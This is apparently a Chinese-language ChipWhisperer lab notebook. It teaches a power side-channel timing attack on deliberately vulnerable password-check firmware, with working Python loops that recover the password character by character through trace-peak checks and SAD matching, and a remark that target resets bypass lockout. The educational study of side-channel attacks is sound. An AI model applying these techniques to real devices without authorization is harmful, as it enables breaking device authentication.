{
 "cells": [
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# 功耗时序分析\n",
    "\n",
    "支持的设备:\n",
    "\n",
    "SCOPES:\n",
    "\n",
    "* OPENADC\n",
    "* CWNANO\n",
    "\n",
    "PLATFORMS:\n",
    "\n",
    "* CWLITEARM\n",
    "* CWLITEXMEGA\n",
    "* CWNANO"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "本教程将向你介绍如何通过一个设备在执行某些操作时破解设备。它将使用简单的密码检查，并演示如何进行基本的功耗分析。\n",
    "\n",
    "注意这并不是攻击AES教程的前置教程，如果你希望直接开始AES教程的话你可以跳过此教程。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "SCOPETYPE = 'OPENADC'\n",
    "PLATFORM = 'CWLITEARM'\n",
    "CRYPTO_TARGET = 'NONE'"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 硬件"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "和之间一样，我们需要设置`PLATFORM`，然后构建硬件："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%%bash -s \"$PLATFORM\" \"$CRYPTO_TARGET\"\n",
    "cd ../../hardware/victims/firmware/basic-passwdcheck\n",
    "make PLATFORM=$1 CRYPTO_TARGET=$2"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 设置"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "和常规设置一样，除了此时我们将要捕获20000组轨迹。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%run \"Helper_Scripts/Setup_Generic.ipynb\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "fw_path = '../../hardware/victims/firmware/basic-passwdcheck/basic-passwdcheck-{}.hex'.format(PLATFORM)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "cw.program_target(scope, prog, fw_path)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 建立交流"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "正如本教程开始时提到的，我们加载到目标上的固件实现了基本的密码检查。在得到一个`'\\n'`终止的密码后，程序进行密码检查，之后会进入死循环，我们需要一个重置函数来进行重启。\n",
    "\n",
    "我们会经常这样做，所以我们将定义一个重设目标的函数（这个函数也可以通过运行\"Helper_Scripts/Setup.ipynb\"来实现，就像我们上面做的那样）。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import time\n",
    "def reset_target(scope):\n",
    "    if PLATFORM == \"CW303\" or PLATFORM == \"CWLITEXMEGA\":\n",
    "        scope.io.pdic = 'low'\n",
    "        time.sleep(0.05)\n",
    "        scope.io.pdic = 'high'\n",
    "        time.sleep(0.05)\n",
    "    else:  \n",
    "        scope.io.nrst = 'low'\n",
    "        time.sleep(0.05)\n",
    "        scope.io.nrst = 'high'\n",
    "        time.sleep(0.05)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "目标在启动时向我们发送了一些文本。运行下面的程序块后，你应该看到一些文本出现。\n",
    "\n",
    "**注意**\n",
    "文字可能会出现断裂，并伴有数据丢失的信息。这意味着用于存储来自目标的串行数据（128字节）的缓冲区已满。这不是问题，因为文本只是美观，但如果你想使用ChipWhisperer做大量的串行数据传输，请记住这一点。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "ret = \"\"\n",
    "reset_target(scope)\n",
    "\n",
    "num_char = target.in_waiting()\n",
    "while num_char > 0:\n",
    "    ret += target.read(timeout=10)\n",
    "    time.sleep(0.05)\n",
    "    num_char = target.in_waiting()\n",
    "    \n",
    "print(ret)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在你可以向目标发送一个密码："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "target.flush()\n",
    "target.write(\"xenny\\n\")"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "然后获取响应，我们发送了正确的密码（xenny），所以我们应该会看到“Access granted, Welcome!”："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "print(target.read(timeout=100))"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**提示**\n",
    "\n",
    "在真实的系统中，你可能知道其中一个密码，这就足以调查密码检查程序，就像我们要做的那样。你通常也有能力将密码重置为默认值。虽然重置程序会抹去你所关心的任何数据，但攻击者将能够利用这个\"牺牲\"装置来了解可能的漏洞。因此，假设我们有访问密码的权限，实际上只是说我们有访问密码的权限，并将利用这些知识来打破一般的系统。"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 捕获轨迹"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在我们可以和我们的超级安全系统进行通信，接下来我们的目标便是捕获目标运行时的能量轨迹。所以我们需要在发送密码前设置好域端，然后记录直到我们完成前的轨迹。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "project = cw.create_project(\"projects/TAA\", overwrite = True)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if PLATFORM == \"CWNANO\":\n",
    "    scope.adc.samples = 800\n",
    "else:\n",
    "    scope.adc.samples = 2000"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "ret = \"\"\n",
    "reset_target(scope)\n",
    "num_char = target.in_waiting()\n",
    "while num_char > 0:\n",
    "    ret += target.read(timeout=10)\n",
    "    time.sleep(0.01)\n",
    "    num_char = target.in_waiting()\n",
    "    \n",
    "print(ret)\n",
    "scope.arm()\n",
    "target.flush()\n",
    "target.write(\"xenny\\n\")\n",
    "ret = scope.capture()\n",
    "if ret:\n",
    "    print('Timeout happened during acquisition')\n",
    "        \n",
    "trace = scope.get_last_trace()\n",
    "resp = \"\"\n",
    "num_char = target.in_waiting()\n",
    "while num_char > 0:\n",
    "    resp += target.read(timeout=10)\n",
    "    time.sleep(0.01)\n",
    "    num_char = target.in_waiting()\n",
    "print(resp)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在我们有了轨迹，便可以来绘制图像："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pylab as plt\n",
    "\n",
    "plt.plot(trace)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 时序分析"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在，我们可以捕捉轨迹开始计划我们的攻击。首先，我们要做一个猜测密码的函数，并返回一个能量轨迹，因为我们会经常重复这些步骤："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def cap_pass_trace(pass_guess):\n",
    "    ret = \"\"\n",
    "    reset_target(scope)\n",
    "    num_char = target.in_waiting()\n",
    "    while num_char > 0:\n",
    "        ret += target.read(num_char, 10)\n",
    "        time.sleep(0.01)\n",
    "        num_char = target.in_waiting()\n",
    "\n",
    "    scope.arm()\n",
    "    target.write(pass_guess)\n",
    "    ret = scope.capture()\n",
    "    if ret:\n",
    "        print('Timeout happened during acquisition')\n",
    "\n",
    "    trace = scope.get_last_trace()\n",
    "    return trace"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "接下来，我们尝试使用两个长度不一样的密码来查看其能轨的不同之处。我们将把两个轨迹绘制在一幅图像上（第一组使用红色，第二组使用蓝色）"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pylab as plt\n",
    "\n",
    "trace_correct = cap_pass_trace(\"x\\n\")\n",
    "trace_wrong   = cap_pass_trace(\"\\n\")\n",
    "\n",
    "plt.plot(trace_wrong, 'r')\n",
    "plt.plot(trace_correct, 'g')\n",
    "plt.show()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "![](img/1.png)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "你应该看到两个轨迹的开始和结束都差不多，但在其他地方有所不同。如果你仔细观察，你应该看到蓝色的轨迹看起来很像红色的轨迹，但在时间上有所偏移。我们将利用这个时间差异来破解密码！\n",
    "\n",
    "编辑上述区块，尝试不同的密码，看看不同长度和正确字符数的密码如何变化。\n",
    "\n",
    "回到最初的猜测（`\"\\n\"`和`\"x\\n\"`），找到一些明显的尖峰，在时间上得到转移。你的目标可能不同，但在我的例子中，在红色的229和蓝色的265处有一些明显的峰值，大约是-0.25。该图是互动的，所以你可以使用图右边的按钮放大和移动。记录它们的位置、数值和位置的差异（在我的例子中，229、265、-0.25和36）。\n",
    "\n",
    "使用明显的峰值可能并不总是有效。你可以用两个轨迹开始出现分歧的地方来代替明显的峰值。在开始的时候，尽管正确的字符数不同，但能量轨迹是相似的。然而，有一个点，它们开始变得明显不同。如果你能找到这个点，你可以用这个点来代替做时间分析。位置上的差异应该与使用明显的峰值时一样。\n",
    "\n",
    "一个更简单的方法是，简单地绘制*每一个*可能的首字母。如果有某种时间上的攻击，我们应该看到所有的东西都走一个路径，除了一个异常点。让我们试着用这种方法绘制一些痕迹，希望我们能得到一个有趣的孤立点。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pylab as plt\n",
    "\n",
    "trylist = \"abcdefghijklmnopqrstuxvwyz\"\n",
    "for c in trylist:\n",
    "    next_pass = c + \"\\n\"\n",
    "    trace = cap_pass_trace(next_pass)\n",
    "    plt.plot(trace)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 攻击单字符"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在我们已经找到了一个明显的时间差异，我们可以开始建立我们的攻击。我们将从一个字母开始，因为这将迅速给我们提供一些攻击的反馈。\n",
    "\n",
    "攻击的计划很简单：不断猜测字母，直到我们不再看到原始位置上的独特尖峰。为了做到这一点，我们将创建一个循环，即。\n",
    "\n",
    "* 计算下一个猜测值\n",
    "* 记录能轨\n",
    "* 查看其尖峰位置\n",
    "\n",
    "为了方便以后的工作，我们将制作一个函数，返回我们的尖峰是否在正确的位置（猜测不正确）或不在（猜测正确）。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def checkpass(trace, i):\n",
    "    if PLATFORM == \"CWNANO\":\n",
    "        #There's a bit of jitter\n",
    "        return (trace[228 + 11*i] < 3 and trace[227 + 11*i] < 0.3)\n",
    "    elif PLATFORM == \"CWLITEARM\" or PLATFORM == \"CW308_STM32F3\":\n",
    "        return trace[140 + 40*i] > 0.1\n",
    "    elif PLATFORM == \"CW303\" or PLATFORM == \"CWLITEXMEGA\":\n",
    "        return trace[85 + 72 * i] > -0.2"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "下面的循环找到第一个正确的字符，打印出来，然后结束。你应该在一段时间后看到 \"Success：x\"。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trylist = \"abcdefghijklmnopqrstuvwxyz\"\n",
    "password = \"\"\n",
    "for c in trylist:\n",
    "    next_pass = password + c + \"\\n\"\n",
    "    trace = cap_pass_trace(next_pass)\n",
    "    if checkpass(trace, 0):\n",
    "        print(\"Success: \" + c)\n",
    "        break"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "注意，你可能需要改变`checkpass`中的值，或者简单地定义你自己的`checkpass()`函数。"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 攻击全部密码"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "同理我们按照刚才观察得出的规律，对第$i$个字符判断不同的尖峰位置即可。所以我们只需要将攻击单字符的脚本循环其位置即可。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trylist = \"abcdefghijklmnopqrstuvwxyz\"\n",
    "password = \"\"\n",
    "for i in range(5):\n",
    "    for c in trylist:\n",
    "        next_pass = password + c + \"\\n\"\n",
    "        trace = cap_pass_trace(next_pass)\n",
    "        if checkpass(trace, i):\n",
    "            password += c\n",
    "            print(\"Success, pass now {}\".format(password))\n",
    "            break"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "你应该已经成功地使用定时攻击破解了密码。你应该已经成功地用计时攻击法破解了一个密码。关于这个方法的一些注意事项：\n",
    "\n",
    "* 目标设备有一个有限的启动时间，这就减慢了攻击的速度。如果你愿意，从目标代码中删除一些`printf()'，重新编译和重新编程，看看你能多快完成这个攻击。\n",
    "* 目前的脚本在密码没问题的情况下不会寻找\"WELCOME\"的信息。那是一个扩展，允许它破解任何大小的密码。\n",
    "* 如果对错误的密码有锁定，系统会忽略它，因为它在每次尝试后都会重置目标。"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 通过SAD匹配攻击"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "如你所见，对于像这样简单的时序攻击。然而，以这种方式看轨迹有一些缺点：\n",
    "\n",
    "* 如果正确和错误的猜测之间的偏移量发生了变化，我们将不得不手动将其纳入攻击中。\n",
    "* 如果偏移量发生了变化（比如说改变了优化级别），我们必须再次找到轨迹之间的偏移量。\n",
    "* 攻击是相当微妙的，可能需要一些试验和错误。\n",
    "\n",
    "幸运的是，有一些方法可以找到部分轨迹之间的时间偏移，这些方法更可靠，需要的手工劳动也更少。在本节中，我们将重点使用绝对差值之和（SAD）匹配，这是一种测量两个信号之间的差值的方法，以发现目标轨迹与参考轨迹在时间上是否有偏移。\n",
    "\n",
    "SAD(Sum of Absolute Difference)计算方法为\n",
    "\n",
    "$$\\sum_{j=0}^{J}|t_{ref,j}-t_{target,j}|$$\n",
    "\n",
    "其中$t_{ref,j}$是参考轨迹的一个点，$t_{target,j}$是目标轨迹的一个点，$j$是我们要取差的轨迹上的点。这将沿着参考轨迹的长度$J$进行。简单地说，我们要减去两个轨迹，取其绝对值，然后将这些绝对差值相加。如果这个值很低，那么这两条轨迹就非常相似。如果这个值很高，它们就非常不同。我们的策略将如下：\n",
    "\n",
    "* 捕获一个参考轨迹并找到一个独特的部分\n",
    "* 猜测另一个字符，沿着轨迹滑动参考，计算每个偏移处的SAD，直到我们找到一个低于某个阈值的SAD。\n",
    "* 重复这个过程，直到我们找到一个与参考值不同的偏移量的字符——这就是正确的字符。\n",
    "* 重复输入其余的字符，直到我们破解了密码。\n",
    "\n",
    "首先，我们需要做一个函数来计算基于SAD匹配的偏移量，这个函数需要输入参考轨迹、目标轨迹和一个匹配的阈值。试着自己写这个函数，但如果你遇到困难，`PA_SPA_1_answers.py`有一个工作版本。为了最大限度地与教程兼容，如果没有找到匹配，让这个函数返回`None'。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def find_offset_SAD(ref, target_trace, threshold):\n",
    "    def calc_SAD(a1, a2):\n",
    "        SAD = 0\n",
    "        for v1, v2 in zip(a1, a2):\n",
    "            SAD += abs(v1 - v2)\n",
    "        return SAD\n",
    "    for offset in range(len(target_trace) - len(ref)):\n",
    "        if calc_SAD(ref, target_trace[offset:offset+len(ref)]) < threshold:\n",
    "            return offset"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "测试一下我们的函数："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "a = list(range(50))\n",
    "b = [5, 6, 7]\n",
    "offset = find_offset_SAD(b, a, 0.01)\n",
    "assert offset == 5, \"Incorrect offset from SAD function\"\n",
    "\n",
    "b = [8.5, 9, 10]\n",
    "offset = find_offset_SAD(b, a, 1)\n",
    "assert offset == 8, \"Incorrect offset from SAD function with nonzero threshold\""
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 选择参考轨迹"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在我们有了一个使用SAD匹配查找偏移量的工作函数，让我们捕捉一个参考轨迹，以及一个有正确猜测的轨迹："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pyplot as plt\n",
    "ref_trace = cap_pass_trace(\"a\\n\")\n",
    "correct_trace = cap_pass_trace(\"b\\n\")\n",
    "# plt.plot(ref_trace, 'r')\n",
    "# plt.plot(correct_trace - 0.5, 'g')\n",
    "plt.plot(correct_trace - ref_trace)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "\n",
    "* 参考轨迹的要求有\n",
    "\n",
    "    1. 它必须是唯一独特的，指选择的轨迹部分不应该和后续其他部分相同\n",
    "    2. 它需要随时间变化。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "if PLATFORM == \"CWNANO\":\n",
    "    #There's a bit of jitter\n",
    "    ref = ref_trace[300:500]\n",
    "elif PLATFORM == \"CWLITEARM\" or PLATFORM == \"CW308_STM32F3\":\n",
    "#     ref = ref_trace[770:1000]\n",
    "    ref = ref_trace[300:600]\n",
    "elif PLATFORM == \"CW303\" or PLATFORM == \"CWLITEXMEGA\":\n",
    "    ref = ref_trace[110:265]\n",
    "\n",
    "plt.plot(ref)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "同时SAD匹配对于不同的错误密码，我们应该返回同样的参考轨迹，所以这给了我们一个机会去找到一个好的临界点，如果这个临界点太高了，则会很早便匹配，反之则匹配不到。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trace = cap_pass_trace(\"b\\n\")\n",
    "offset1 = find_offset_SAD(ref, ref_trace, 5)\n",
    "offset2 = find_offset_SAD(ref, trace, 5)\n",
    "print(offset1)\n",
    "assert offset1 == offset2, \"Mismatched offsets for incorrect guesses. Adjust threshold or choose a different reference\""
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "现在让我们来看看我们是否能用这种技术猜出一个正确的字符。如果偏移量比我们从参考轨迹得到的要高，我们就知道我们得到了一个正确的字符："
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "ts = 5\n",
    "offset1 = find_offset_SAD(ref, ref_trace, ts)\n",
    "trylist = \"abcdefghijklmnopqrstuvwxyz\"\n",
    "password = \"\"\n",
    "for i in range(5):\n",
    "    for c in trylist:\n",
    "        next_pass = password + c + \"\\n\"\n",
    "        trace = cap_pass_trace(next_pass)\n",
    "        offset = find_offset_SAD(ref, trace, ts)\n",
    "        if offset is None:\n",
    "            print(\"Threshold likely too low\")\n",
    "            break\n",
    "        elif offset == 0:\n",
    "            print(\"Threshold likely too high\")\n",
    "            break\n",
    "        if offset > offset1:\n",
    "            password += c\n",
    "            offset1 = offset\n",
    "            print(password)\n",
    "            break"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "将此扩展到密码的其他部分也不是太难。简单地迭代所有的字符。再次尝试自己写这段代码。这里需要注意的是，这种技术在最后一个密码上可能会失败，因为如果我们猜对了密码，我们要检查的那部分轨迹就不会发生。为了解决这个问题，我们可以简单地通过`target.read()`来检查响应，看我们是否得到了整个密码。同样，如果你真的被卡住了，可以在`PA_SPA_1_answers.py`中找到一个有效的猜测函数。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "from PA_SPA_1_answers import guess_password_SAD\n",
    "password = guess_password_SAD(cap_pass_trace, find_offset_SAD, ref, offset1, 5, target)"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "有了这个，你现在应该已经成功地再次破解了密码! 请记住，这只是SAD匹配的一个应用：例如，如果随机抖动被用作对抗侧信道攻击的对策，它对重新同步跟踪非常有用，就像教程`PA_CPA_3`中的情况。它也可以作为CW1200 Pro的一个强大的触发器——在一个典型的目标中，我们可能无法获得一个简单的IO引脚来进行触发。\n",
    "\n",
    "请记住，这只是进行这种攻击的许多可能的方法之一--在PA_Multi_1中使用相关而不是SAD进行类似的攻击。"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## 总结"
   ]
  },
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "本教程展示了使用电源侧信道进行时序攻击的情况。使用了两种技术来破解一个有时间漏洞的密码。"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  }
 ],
 "metadata": {
  "interpreter": {
   "hash": "aee8b7b246df8f9039afb4144a1f6fd8d2ca17a180786b69acc140d282b71a49"
  },
  "kernelspec": {
   "display_name": "Python 3.9.9 64-bit",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "name": "python",
   "version": "3.9.12 (main, Mar 26 2022, 15:51:13) \n[Clang 12.0.0 (clang-1200.0.32.29)]"
  },
  "orig_nbformat": 4
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
